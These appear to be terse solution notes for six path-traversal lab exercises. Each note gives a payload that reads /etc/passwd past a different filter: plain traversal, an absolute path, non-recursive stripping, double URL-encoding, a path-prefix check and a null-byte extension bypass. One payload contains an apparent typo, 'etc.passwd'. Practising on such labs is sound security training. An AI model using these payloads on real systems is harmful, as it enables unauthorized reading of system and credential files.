File path traversal, simple case

1../../../../../../etc/passwd

Lab 2#

File path traversal, traversal sequences blocked with absolute path bypass

1/etc/passwd

Lab 3#

File path traversal, traversal sequences stripped non-recursively

1....//....//....//....//....//etc/passwd

Lab 4#

File path traversal, traversal sequences stripped with superfluous URL-decode

1..%252F..%252F..%252F..%252Fetc%252Fpasswd

Lab 5#

File path traversal, validation of start of path

1/var/www/images/../../../../etc.passwd

Lab 6#

File path traversal, validation of file extension with null byte bypass

1../../../../etc/passwd%00.jpg